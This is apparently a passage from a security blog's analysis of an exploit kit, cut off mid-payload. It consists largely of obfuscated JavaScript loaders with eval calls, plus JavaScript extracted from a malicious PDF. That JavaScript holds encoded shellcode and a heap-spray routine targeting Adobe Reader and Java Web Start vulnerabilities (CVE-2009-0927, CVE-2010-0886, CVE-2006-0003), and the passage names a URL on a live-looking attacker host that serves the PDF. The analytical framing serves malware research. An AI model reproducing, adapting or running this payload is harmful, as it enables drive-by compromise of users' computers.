&amp;lt;uaiih853631&amp;gt; */var oasxf283400 = "_ba13a57cbfd";/* eaojumj532053 = 3; &amp;lt;ehetan555132&amp;gt; */var oecryyamioy = 100;/* iezoiooe974360 = 10; &amp;lt;amolbyey364709&amp;gt; */var fasmeeiuyc847930 = "_08c893ddaac";/* yglyeazy825857 = 62; &amp;lt;xaoowyyv838265&amp;gt; */var iluieumjyu1486 = "_71331be6e91";var adoamiqpuei = '';/* dozjihey311662 = 80; &amp;lt;gewaeaoyu25937&amp;gt; *//* iuywiuy421415 = 53; &amp;lt;oiueuci618667&amp;gt; *//* eufec965915 = 38; &amp;lt;peluoue227579&amp;gt; */var aaouuu689519 = "_de3a4f69c12";/* mkilo920520 = 7; &amp;lt;azaeed813114&amp;gt; */ioyokeiueonu0 = bryoyiiayf;var ahxey783267 = "_f658c39a7d9";var iuouubei905581 = "_ed00bc42d89";var oliiur11273 = "_358c9003f99";/* yuhwaocuyy730219 = 58; &amp;lt;aogiupi451628&amp;gt; */var ylishbuy295077 = "_e8ff910a6f3";for(zeozuoutue=0;zeozuoutue&amp;lt;oecryyamioy;zeozuoutue++) {var kumoualvyo = 'function a1083435135(fa) {return fa;} var a506424832 = 991968621;function a486745355(fa) {return fa;} var a631530080 = 378464516;function a112875451(fa) {return fa;} var a1108616833 = 773453236;function a94842624(fa) {return fa;} var a973149738 = 1278431189;function a162114306(fa) {return fa;} var a18855745 = 716737348;function a699605006(fa) {return fa;} var a1049377591 = 1147700637;';var kumoualvyo = kumoualvyo+kumoualvyo+kumoualvyo+kumoualvyo+kumoualvyo+kumoualvyo+kumoualvyo;var kumoualvyo = kumoualvyo+kumoualvyo+kumoualvyo+kumoualvyo;var dsfsg = zeozuoutue+1;adoamiqpuei = 'var ioyokeiueonu'+dsfsg+'=ioyokeiueonu'+zeozuoutue+';'+kumoualvyo+''+kumoualvyo+''+kumoualvyo+'';th(adoamiqpuei);}th(ioyokeiueonu100);var yuuipiei717018 = "_4af7228fb04";/* uirofytouo523761 = 37; &amp;lt;egvdg176208&amp;gt; *//* nezqbovly381813 = 63; &amp;lt;adudbos234926&amp;gt; *//* teusoekl365197 = 71; &amp;lt;asrouyquig347789&amp;gt; */&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The above decodes to:&lt;br /&gt;&lt;br /&gt;&lt;img style="display:block; margin:0px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_2mGRgHlTZAA/TQi_q7UgO-I/AAAAAAAAACQ/89bqjkigHDI/s1600/codesnipped.png" alt="" id="BLOGGER_PHOTO_ID_5550897284933237730" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;Which shows the use of three exploits:&lt;br /&gt;JDT: Java Web Start Arbitrary command-line injection (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0886"&gt;CVE-2010-0886&lt;/a&gt;)&lt;br /&gt;Adobe Reader and Adobe Acrobat 9 GetIcon (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0927"&gt;CVE-2009-0927&lt;/a&gt;)&lt;br /&gt;Microsoft MDAC RDS.Dataspace ActiveX (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0003"&gt;CVE-2006-0003&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;Exploit code is also placed inside a PDF file: http://colemuns.com/pupseg/26dd43dcf27/2ea0bbb774f.php?host=http://colemuns.com/pupseg&amp;amp;u=root&lt;br /&gt;&lt;br /&gt;Extracted, the javascripts inside the PDF file is a follows:&lt;br /&gt;&lt;pre class="brush: js;"&gt;//-------------------------------------------------------------&lt;br /&gt;//-----------------Do not edit the XML tags--------------------&lt;br /&gt;//-------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;//&amp;lt;Document-Actions&amp;gt;&lt;br /&gt;//&amp;lt;ACRO_source&amp;gt;Document Open&amp;lt;/ACRO_source&amp;gt;&lt;br /&gt;//&amp;lt;ACRO_script&amp;gt;&lt;br /&gt;/*********** belongs to: Document-Actions:Document Open ***********/&lt;br /&gt;function ghfsdj(adbhsdh)&lt;br /&gt;{&lt;br /&gt;  var jfsd = "gas%ss2u";&lt;br /&gt;  return adbhsdh.split("&amp;amp;&amp;amp;").join(jfsd[3]+jfsd[7]);&lt;br /&gt;}&lt;br /&gt;shcode_geticon = ghfsdj("&amp;amp;&amp;amp;D2CE&amp;amp;&amp;amp;D6D2&amp;amp;&amp;amp;899C&amp;amp;&amp;amp;C589&amp;amp;&amp;amp;CAC9&amp;amp;&amp;amp;CBC3&amp;amp;&amp;amp;C8D3&amp;amp;&amp;amp;88D5&amp;amp;&amp;amp;C9C5&amp;amp;&amp;amp;89CB&amp;amp;&amp;amp;D3D6&amp;amp;&amp;amp;D5D6&amp;amp;&amp;amp;C1C3&amp;amp;&amp;amp;C089&amp;amp;&amp;amp;D4C9&amp;amp;&amp;amp;CBD3&amp;amp;&amp;amp;D688&amp;amp;&amp;amp;D6CE&amp;amp;&amp;amp;C099&amp;amp;&amp;amp;F69B&amp;amp;&amp;amp;E0E2&amp;amp;&amp;amp;8E86&amp;amp;&amp;amp;C3E1&amp;amp;&amp;amp;EFD2&amp;amp;&amp;amp;C9C5&amp;amp;&amp;amp;8FC8&amp;amp;&amp;amp;CD80&amp;amp;&amp;amp;DFC3&amp;amp;&amp;amp;9F9B&amp;amp;&amp;amp;C394&amp;amp;&amp;amp;959F&amp;amp;&amp;amp;96C2&amp;amp;&amp;amp;9393&amp;amp;&amp;amp;C595&amp;amp;&amp;amp;C4C2&amp;amp;&amp;amp;C595&amp;amp;&amp;amp;9F9E&amp;amp;&amp;amp;91C2&amp;amp;&amp;amp;95C2&amp;amp;&amp;amp;919F&amp;amp;&amp;amp;9392&amp;amp;&amp;amp;9E91&amp;amp;&amp;amp;9797&amp;amp;&amp;amp;90C0&amp;amp;&amp;amp;80C2&amp;amp;&amp;amp;9BD3&amp;amp;&amp;amp;00A6");&lt;br /&gt;shcode_newplayer = ghfsdj("&amp;amp;&amp;amp;D2CE&amp;amp;&amp;amp;D6D2&amp;amp;&amp;amp;899C&amp;amp;&amp;amp;C589&amp;amp;&amp;amp;CAC9&amp;amp;&amp;amp;CBC3&amp;amp;&amp;amp;C8D3&amp;amp;&amp;amp;88D5&amp;amp;&amp;amp;C9C5&amp;amp;&amp;amp;89CB&amp;amp;&amp;amp;D3D6&amp;amp;&amp;amp;D5D6&amp;amp;&amp;amp;C1C3&amp;amp;&amp;amp;C089&amp;amp;&amp;amp;D4C9&amp;amp;&amp;amp;CBD3&amp;amp;&amp;amp;D688&amp;amp;&amp;amp;D6CE&amp;amp;&amp;amp;C099&amp;amp;&amp;amp;F69B&amp;amp;&amp;amp;E0E2&amp;amp;&amp;amp;8E86&amp;amp;&amp;amp;C3C8&amp;amp;&amp;amp;F6D1&amp;amp;&amp;amp;C7CA&amp;amp;&amp;amp;C3DF&amp;amp;&amp;amp;8FD4&amp;amp;&amp;amp;CD80&amp;amp;&amp;amp;DFC3&amp;amp;&amp;amp;9F9B&amp;amp;&amp;amp;C394&amp;amp;&amp;amp;959F&amp;amp;&amp;amp;96C2&amp;amp;&amp;amp;9393&amp;amp;&amp;amp;C595&amp;amp;&amp;amp;C4C2&amp;amp;&amp;amp;C595&amp;amp;&amp;amp;9F9E&amp;amp;&amp;amp;91C2&amp;amp;&amp;amp;95C2&amp;amp;&amp;amp;919F&amp;amp;&amp;amp;9392&amp;amp;&amp;amp;9E91&amp;amp;&amp;amp;9797&amp;amp;&amp;amp;90C0&amp;amp;&amp;amp;80C2&amp;amp;&amp;amp;9BD3&amp;amp;&amp;amp;00A6");&lt;br /&gt;shcode_printf = ghfsdj("&amp;amp;&amp;amp;D2CE&amp;amp;&amp;amp;D6D2&amp;amp;&amp;amp;899C&amp;amp;&amp;amp;C589&amp;amp;&amp;amp;CAC9&amp;amp;&amp;amp;CBC3&amp;amp;&amp;amp;C8D3&amp;amp;&amp;amp;88D5&amp;amp;&amp;amp;C9C5&amp;amp;&amp;amp;89CB&amp;amp;&amp;amp;D3D6&amp;amp;&amp;amp;D5D6&amp;amp;&amp;amp;C1C3&amp;amp;&amp;amp;C089&amp;amp;&amp;amp;D4C9&amp;amp;&amp;amp;CBD3&amp;amp;&amp;amp;D688&amp;amp;&amp;amp;D6CE&amp;amp;&amp;amp;C099&amp;amp;&amp;amp;F69B&amp;amp;&amp;amp;E0E2&amp;amp;&amp;amp;8E86&amp;amp;&amp;amp;D4D6&amp;amp;&amp;amp;C8CF&amp;amp;&amp;amp;C0D2&amp;amp;&amp;amp;808F&amp;amp;&amp;amp;C3CD&amp;amp;&amp;amp;9BDF&amp;amp;&amp;amp;949F&amp;amp;&amp;amp;9FC3&amp;amp;&amp;amp;C295&amp;amp;&amp;amp;9396&amp;amp;&amp;amp;9593&amp;amp;&amp;amp;C2C5&amp;amp;&amp;amp;95C4&amp;amp;&amp;amp;9EC5&amp;amp;&amp;amp;C29F&amp;amp;&amp;amp;C291&amp;amp;&amp;amp;9F95&amp;amp;&amp;amp;9291&amp;amp;&amp;amp;9193&amp;amp;&amp;amp;979E&amp;amp;&amp;amp;C097&amp;amp;&amp;amp;C290&amp;amp;&amp;amp;D380&amp;amp;&amp;amp;A69B");&lt;br /&gt;shcode_collab = ghfsdj("&amp;amp;&amp;amp;D2CE&amp;amp;&amp;amp;D6D2&amp;amp;&amp;amp;899C&amp;amp;&amp;amp;C589&amp;amp;&amp;amp;CAC9&amp;amp;&amp;amp;CBC3&amp;amp;&amp;amp;C8D3&amp;amp;&amp;amp;88D5&amp;amp;&amp;amp;C9C5&amp;amp;&amp;amp;89CB&amp;amp;&amp;amp;D3D6&amp;amp;&amp;amp;D5D6&amp;amp;&amp;amp;C1C3&amp;amp;&amp;amp;C089&amp;amp;&amp;amp;D4C9&amp;amp;&amp;amp;CBD3&amp;amp;&amp;amp;D688&amp;amp;&amp;amp;D6CE&amp;amp;&amp;amp;C099&amp;amp;&amp;amp;F69B&amp;amp;&amp;amp;E0E2&amp;amp;&amp;amp;8E86&amp;amp;&amp;amp;C9E5&amp;amp;&amp;amp;CACA&amp;amp;&amp;amp;C4C7&amp;amp;&amp;amp;808F&amp;amp;&amp;amp;C3CD&amp;amp;&amp;amp;9BDF&amp;amp;&amp;amp;949F&amp;amp;&amp;amp;9FC3&amp;amp;&amp;amp;C295&amp;amp;&amp;amp;9396&amp;amp;&amp;amp;9593&amp;amp;&amp;amp;C2C5&amp;amp;&amp;amp;95C4&amp;amp;&amp;amp;9EC5&amp;amp;&amp;amp;C29F&amp;amp;&amp;amp;C291&amp;amp;&amp;amp;9F95&amp;amp;&amp;amp;9291&amp;amp;&amp;amp;9193&amp;amp;&amp;amp;979E&amp;amp;&amp;amp;C097&amp;amp;&amp;amp;C290&amp;amp;&amp;amp;D380&amp;amp;&amp;amp;A69B");&lt;br /&gt;var yiypg414830 = "_cc574b95084";var cwyuonoyo302180 = "_4b79760e42c";/* muuavvusau495652 = 46; &amp;lt;uauogigqoh191543&amp;gt; */var uuyaeiqe228524 = "_71a45be3b60";var ev = 'yeegsgvsssaglh';var oepeyeeupo553973 = "_46637835fbf";var iheao826985 = "_2b7a51658e4";var ahaaueui531169 = "_54df0b74788";var ueuieozhyl59534 = "_e6935076301";/* uorjo80661 = 37; &amp;lt;ehisoe602997&amp;gt; */var moiliauca38982161 = '223123 - 1213';this[ev.charAt(2)+ev.charAt(6)+ev.charAt(10)+ev.charAt(12)]('var th = thi'+'s[\'ev\'+\'\'+\'al\'];');var moiliauca38229861 = '223123 - 1213';var yuuei247913 = "_0456ff91871";/* yukfbzyi678025 = 64; &amp;lt;uzieq740219&amp;gt; */var yoiaoia3559 = "_9ae0a50e46f";/* jhwatwt700250 = 30; &amp;lt;xuyuuixa526322&amp;gt; */var uyuziauiwa806528 = "_754b4ff18a5";/* oyiyaaiee996158 = 18; &amp;lt;ofturo539858&amp;gt; */cwyuvaooeo = 'YYY\rYYY\nYYYfYYYuYYYnYYYcYYYtYYYiYYYoYYYnYYY YYYsYYYhYYYcYYYoYYYdYYYeYYY(YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYYdYYY_YYYuYYYrYYYlYYY)YYY\rYYY\nYYY{YYY\rYYY\nYYYrYYYeYYYtYYYuYYYrYYYnYYY YYY\"YYY%YYYuYYY1YYY1YYYEYYYBYYY%YYYuYYY4YYYBYYY5YYYBYYY%YYYuYYYCYYY9YYY3YYY3YYY%YYYuYYY8YYY1YYY6YYY6YYY%YYYuYYYAYYYFYYYCYYY9YYY%YYYuYYY8YYY0YYY0YYY1YYY%YYYuYYY0YYYBYYY3YYY4YYY%YYYuYYYEYYY2YYYAYYY6YYY%YYYuYYYEYYYBYYYFYYYAYYY%YYYuYYYEYYY8YYY0YYY5YYY%YYYuYYYFYYYFYYYEYYYAYYY%YYYuYYYFYYYFYYYFYYYFYYY%YYYuYYY7YYYCYYY4YYYFYYY%YYYuYYYAYYY6YYYAYYY6YYY%YYYuYYYFYYY9YYYAYYY6YYY%YYYuYYY0YYY7YYYCYYY2YYY%YYYuYYYAYYY6YYY9YYY6YYY%YYYuYYYAYYY6YYYAYYY6YYY%YYYuYYYEYYY6YYY2YYYDYYY%YYYuYYY2YYYDYYYAYYYAYYY%YYYuYYYBYYYAYYYDYYY6YYY%YYYuYYY2YYYDYYY0YYYBYYY%YYYuYYYAYYYEYYYCYYYEYYY%YYYuYYYDYYY6YYY2YYYDYYY%YYYuYYY2YYYDYYY8YYY6YYY%YYYuYYY2YYY6YYYAYYY6YYY%YYYuYYYCYYYDYYY9YYY8YYY%YYYuYYY5YYY5YYYDYYY3YYY%YYYuYYYEYYY0YYYEYYY0YYY%YYYuYYY9YYY8YYY2YYY6YYY%YYYuYYYDYYY3YYYCYYY3YYY%YYYuYYYEYYY0YYY4YYYAYYY%YYYuYYY2YYY6YYYEYYY0YYY%YYYuYYYDYYY4YYY9YYY8YYY%YYYuYYY5YYY1YYYDYYY3YYY%YYYuYYYEYYY0YYYEYYY0YYY%YYYuYYY9YYY8YYY2YYY6YYY%YYYuYYYDYYY3YYYCYYY8YYY%YYYuYYY2YYYDYYY5YYY6YYY%YYYuYYYCYYYCYYY5YYY1YYY%YYYuYYYFYYYFYYYAYYY5YYY%YYYuYYYFYYYDYYY4YYYEYYY%YYYuYYYAYYY6YYYAYYY6YYY%YYYuYYY4YYY4YYYAYYY6YYY%YYYuYYYCYYYEYYY5YYYFYYY%YYYuYYYCYYY8YYYCYYY9YYY%YYYuYYYAYYY6YYYAYYY6YYY%YYYuYYYDYYY3YYYCYYYEYYY%YYYuYYYCYYYAYYYDYYY4YYY%YYYuYYYFYYY2YYYCYYYBYYY%YYYuYYYBYYY0YYY5YYY9YYY%YYYuYYY4YYYEYYY2YYYDYYY%YYYuYYYEYYY3YYY4YYYEYYY%YYYuYYYAYYY6YYYAYYY6YYY%YYYuYYYCYYYEYYYAYYY6YYY%YYYuYYY9YYY5YYYCYYYAYYY%YYYuYYYAYYY6YYY9YYY4YYY%YYYuYYYDYYY5YYYCYYYEYYY%YYYuYYYCYYY3YYYCYYYEYYY%YYYuYYYFYYY2YYYCYYYAYYY%YYYuYYYBYYY0YYY5YYY9YYY%YYYuYYY4YYYEYYY2YYYDYYY%YYYuYYY9YYY7YYY4YYYEYYY%YYYuYYYAYYY6YYYAYYY6YYY%YYYuYYY2YYY5YYYAYYY6YYY%YYYuYYYEYYY6YYY4YYYAYYY%YYYuYYY7YYYAYYY2YYYDYYY%YYYuYYYCYYYCYYYFYYY5YYY%YYYuYYY5YYY9YYYEYYY6YYY%YYYuYYYAYYY2YYYFYYY0YYY%YYYuYYYAYYY2YYY6YYY1YYY%YYYuYYYCYYY7YYYAYYY5YYY%YYYuYYYCYYY3YYY8YYY8YYY%YYYuYYYCYYY0YYYDYYYEYYY%YYYuYYYEYYY2YYY6YYY1YYY%YYYuYYYAYYY2YYYAYYY5YYY%YYYuYYYAYYY6YYYCYYY3YYY%YYYuYYY6YYY6YYY9YYY5YYY%YYYuYYYFYYY6YYYFYYY6YYY%YYYuYYYFYYY1YYYFYYY5YYY%YYYuYYY5YYY9YYYFYYY6YYY%YYYuYYYAYYYAYYYFYYY0YYY%YYYuYYY7YYYAYYY2YYYDYYY%YYYuYYYFYYY6YYYFYYY6YYY%YYYuYYYFYYY5YYYFYYY6YYY%YYYuYYYFYYY6YYYFYYY6YYY%YYYuYYYFYYY0YYY5YYY9YYY%YYYuYYY5YYY9YYYBYYY6YYY%YYYuYYYAYYYEYYYFYYY0YYY%YYYuYYYFYYY0YYYFYYY7YYY%YYYuYYYDYYY3YYY2YYYDYYY%YYYuYYY2YYYDYYY9YYYAYYY%YYYuYYY8YYY8YYYDYYY2YYY%YYYuYYYAYYY5YYYDYYYEYYY%YYYuYYYFYYY0YYY5YYY3YYY%YYYuYYYDYYY0YYY2YYYDYYY%YYYuYYYAYYY5YYY8YYY6YYY%YYYuYYY9YYY5YYY5YYY3YYY%YYYuYYYEYYYFYYY6YYYFYYY%YYYuYYY0YYYBYYYEYYY7YYY%YYYuYYY6YYY3YYYAYYY5YYY%YYYuYYY7YYYDYYY9YYY5YYY%YYYuYYY1YYY8YYYAYYY9YYY%YYYuYYY9YYYCYYYBYYY6YYY%YYYuYYYDYYY2YYY7YYY0YYY%YYYuYYY6YYY7YYYAYYYEYYY%YYYuYYYAYYYBYYY6YYYDYYY%YYYuYYY7YYYCYYYAYYY5YYY%YYYuYYY4YYYDYYYEYYY6YYY%YYYuYYY9YYYDYYY5YYY7YYY%YYYuYYYDYYY3YYYBYYY9YYY%YYYuYYYFYYY8YYY4YYY1YYY%YYYuYYYFYYY8YYY2YYYDYYY%YYYuYYYAYYY5YYY8YYY2YYY%YYYuYYYCYYY0YYY7YYYBYYY%YYYuYYYAYYYAYYY2YYYDYYY%YYYuYYY2YYYDYYYEYYYDYYY%YYYuYYYBYYYAYYYFYYY8YYY%YYYuYYY7YYYBYYYAYYY5YYY%YYYuYYYAYYY2YYY2YYYDYYY%YYYuYYYAYYY5YYY2YYYDYYY%YYYuYYY0YYYDYYY6YYY3YYY%YYYuYYYFYYYFYYYFYYY8YYY%YYYuYYY4YYYEYYY6YYY5YYY%YYYuYYY5YYY9YYY8YYY7YYY%YYYuYYY5YYY9YYY5YYY9YYY%YYYuYYYEYYY8YYY2YYY8YYY%YYYuYYY4YYYAYYYAYYY8YYY%YYYuYYY6YYYCYYY9YYY5YYY%YYYuYYYFYYYDYYY2YYYCYYY%YYYuYYY7YYYEYYYDYYY8YYY%YYYuYYYDYYY5YYY4YYY4YYY%YYYuYYYBYYYCYYY9YYY0YYY%YYYuYYYDYYY6YYY8YYY9YYY%YYYuYYY1YYYDYYYFYYY8YYY%YYYuYYYBYYYDYYY4YYY7YYY\"YYY+YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYYdYYY_YYYuYYYrYYYlYYY+YYY\"YYY%YYYuYYY0YYY0YYYAYYY6YYY\"YYY;YYY\rYYY\nYYY}YYY\rYYY\nYYY\rYYY\nYYYfYYYuYYYnYYYcYYYtYYYiYYYoYYYnYYY YYYnYYYpYYYlYYYaYYYyYYYeYYYrYYY(YYY)YYY YYY{YYY\rYYY\nYYY\rYYY\nYYYfYYYuYYYnYYYcYYYtYYYiYYYoYYYnYYY YYYkYYYzYYYbYYYvYYYeYYY(YYY)YYY\rYYY\nYYY{YYY\rYYY\nYYYvYYYaYYYrYYY YYYeYYYoYYYbYYYwYYYeYYY=YYY\"YYYpYYY@YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY YYY:YYY YYYyYYYyYYYyYYYyYYY1YYY1YYY1YYY\"YYY;YYY\rYYY\nYYYuYYYtYYYiYYYlYYY.YYYpYYYrYYYiYYYnYYYtYYYdYYY(YYYeYYYoYYYbYYYwYYYeYYY,YYY YYYnYYYeYYYwYYY YYYDYYYaYYYtYYYeYYY(YYY)YYY)YYY;YYY\rYYY\nYYY}YYY\rYYY\nYYY\rYYY\nYYYvYYYaYYYrYYY YYYgYYYrYYYiYYYzYYYxYYYwYYY=YYY1YYY2YYY0YYY0YYY0YYY;YYY\rYYY\nYYYjYYYuYYYcYYYoYYYbYYYuYYY=YYYnYYYeYYYwYYY YYYAYYYrYYYrYYYaYYYyYYY(YYY)YYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYkYYYlYYYkYYYnYYYgYYY YYY=YYY YYY\"YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY\"YYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYhYYYwYYYjYYYnYYYaYYYlYYYbYYY8YYY=YYYsYYYhYYYcYYYoYYYdYYYeYYY(YYYsYYYhYYYcYYYoYYYdYYYeYYY_YYYnYYYeYYYwYYYpYYYlYYYaYYYyYYYeYYYrYYY)YYY;YYY\rYYY\nYYYkYYYlYYYkYYYnYYYgYYY=YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYYkYYYlYYYkYYYnYYYgYYY)YYY;YYY\rYYY\nYYYhYYYwYYYjYYYnYYYaYYYlYYYbYYY8YYY=YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYYhYYYwYYYjYYYnYYYaYYYlYYYbYYY8YYY)YYY;YYY\rYYY\nYYY\rYYY\nYYYwYYYhYYYiYYYlYYYeYYY(YYYkYYYlYYYkYYYnYYYgYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY YYY&amp;lt;YYY=YYY YYY0YYYxYYY8YYY0YYY0YYY0YYY)YYY{YYYkYYYlYYYkYYYnYYYgYYY+YYY=YYYkYYYlYYYkYYYnYYYgYYY;YYY}YYY\rYYY\nYYYkYYYlYYYkYYYnYYYgYYY=YYYkYYYlYYYkYYYnYYYgYYY.YYYsYYYuYYYbYYYsYYYtYYYrYYY(YYY0YYY,YYY0YYYxYYY8YYY0YYY0YYY0YYY YYY-YYY YYYhYYYwYYYjYYYnYYYaYYYlYYYbYYY8YYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY)YYY;YYY\rYYY\nYYYfYYYoYYYrYYY(YYYfYYYzYYYfYYYwYYYaYYYmYYY=YYY0YYY;YYYfYYYzYYYfYYYwYYYaYYYmYYY&amp;lt;YYYgYYYrYYYiYYYzYYYxYYYwYYY;YYYfYYYzYYYfYYYwYYYaYYYmYYY+YYY+YYY)YYY YYY{YYYjYYYuYYYcYYYoYYYbYYYuYYY[YYYfYYYzYYYfYYYwYYYaYYYmYYY]YYY=YYYkYYYlYYYkYYYnYYYgYYY YYY+YYY YYYhYYYwYYYjYYYnYYYaYYYlYYYbYYY8YYY;YYY}YYY\rYYY\nYYYiYYYfYYY(YYYgYYYrYYYiYYYzYYYxYYYwYYY)YYY{YYYkYYYzYYYbYYYvYYYeYYY(YYY)YYY;YYYkYYYzYYYbYYYvYYYeYYY(YYY)YYY;YYYtYYYrYYYyYYY YYY{YYYtYYYhYYYiYYYsYYY.YYYmYYYeYYYdYYYiYYYaYYY.YYYnYYYeYYYwYYYPYYYlYYYaYYYyYYYeYYYrYYY(YYYnYYYuYYYlYYYlYYY)YYY;YYY}YYY YYYcYYYaYYYtYYYcYYYhYYY(YYYeYYY)YYY YYY{YYY}YYYkYYYzYYYbYYYvYYYeYYY(YYY)YYY;YYY}YYY\rYYY\nYYY}YYY\rYYY\nYYY\rYYY\nYYYfYYYuYYYnYYYcYYYtYYYiYYYoYYYnYYY YYYpYYYrYYYiYYYnYYYtYYYfYYY(YYY)YYY YYY{YYY\rYYY\nYYY\rYYY\nYYYvYYYaYYYrYYY YYYpYYYaYYYyYYYlYYYoYYYaYYYdYYY=YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYYsYYYhYYYcYYYoYYYdYYYeYYY(YYYsYYYhYYYcYYYoYYYdYYYeYYY_YYYpYYYrYYYiYYYnYYYtYYYfYYY)YYY)YYY;YYY\rYYY\nYYY\rYYY\nYYYvYYYaYYYrYYY YYYnYYYoYYYpYYY YYY=YYY\"YYY\"YYY;YYY\rYYY\nYYYfYYYoYYYrYYY YYY(YYYiYYYCYYYnYYYtYYY=YYY1YYY2YYY8YYY;YYYiYYYCYYYnYYYtYYY&amp;gt;YYY=YYY0YYY;YYY-YYY-YYYiYYYCYYYnYYYtYYY)YYY YYYnYYYoYYYpYYY YYY+YYY=YYY YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYY\"YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY\"YYY)YYY;YYY\rYYY\nYYYhYYYeYYYaYYYpYYYbYYYlYYYoYYYcYYYkYYY YYY=YYY YYYnYYYoYYYpYYY YYY+YYY YYYpYYYaYYYyYYYlYYYoYYYaYYYdYYY;YYY\rYYY\nYYYbYYYiYYYgYYYbYYYlYYYoYYYcYYYkYYY YYY=YYY YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYY\"YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY\"YYY)YYY;YYY\rYYY\nYYYhYYYeYYYaYYYdYYYeYYYrYYYsYYYiYYYzYYYeYYY YYY=YYY YYY2YYY0YYY;YYY\rYYY\nYYYsYYYpYYYrYYYaYYYyYYY YYY=YYY YYYhYYYeYYYaYYYdYYYeYYYrYYYsYYYiYYYzYYYeYYY+YYYhYYYeYYYaYYYpYYYbYYYlYYYoYYYcYYYkYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY;YYY\rYYY\nYYYwYYYhYYYiYYYlYYYeYYY YYY(YYYbYYYiYYYgYYYbYYYlYYYoYYYcYYYkYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY&amp;lt;YYYsYYYpYYYrYYYaYYYyYYY)YYY YYYbYYYiYYYgYYYbYYYlYYYoYYYcYYYkYYY+YYY=YYYbYYYiYYYgYYYbYYYlYYYoYYYcYYYkYYY;YYY\rYYY\nYYYfYYYiYYYlYYYlYYYbYYYlYYYoYYYcYYYkYYY YYY=YYY YYYbYYYiYYYgYYYbYYYlYYYoYYYcYYYkYYY.YYYsYYYuYYYbYYYsYYYtYYYrYYYiYYYnYYYgYYY(YYY0YYY,YYY YYYsYYYpYYYrYYYaYYYyYYY)YYY;YYY\rYYY\nYYYbYYYlYYYoYYYcYYYkYYY YYY=YYY YYYbYYYiYYYgYYYbYYYlYYYoYYYcYYYkYYY.YYYsYYYuYYYbYYYsYYYtYYYrYYYiYYYnYYYgYYY(YYY0YYY,YYY YYYbYYYiYYYgYYYbYYYlYYYoYYYcYYYkYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY-YYYsYYYpYYYrYYYaYYYyYYY)YYY;YYY\rYYY\nYYYwYYYhYYYiYYYlYYYeYYY(YYYbYYYlYYYoYYYcYYYkYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY+YYYsYYYpYYYrYYYaYYYyYYY YYY&amp;lt;YYY YYY0YYYxYYY4YYY0YYY0YYY0YYY0YYY)YYY YYYbYYYlYYYoYYYcYYYkYYY YYY=YYY YYYbYYYlYYYoYYYcYYYkYYY+YYYbYYYlYYYoYYYcYYYkYYY+YYYfYYYiYYYlYYYlYYYbYYYlYYYoYYYcYYYkYYY;YYY\rYYY\nYYYmYYYeYYYmYYY YYY=YYY YYYnYYYeYYYwYYY YYYAYYYrYYYrYYYaYYYyYYY(YYY)YYY;YYY\rYYY\nYYYfYYYoYYYrYYY YYY(YYYiYYY=YYY0YYY;YYYiYYY&amp;lt;YYY1YYY4YYY0YYY0YYY;YYYiYYY+YYY+YYY)YYY YYYmYYYeYYYmYYY[YYYiYYY]YYY YYY=YYY YYYbYYYlYYYoYYYcYYYkYYY YYY+YYY YYYhYYYeYYYaYYYpYYYbYYYlYYYoYYYcYYYkYYY;YYY\rYYY\nYYY\rYYY\nYYYvYYYaYYYrYYY YYYnYYYuYYYmYYY YYY=YYY YYY1YYY2YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8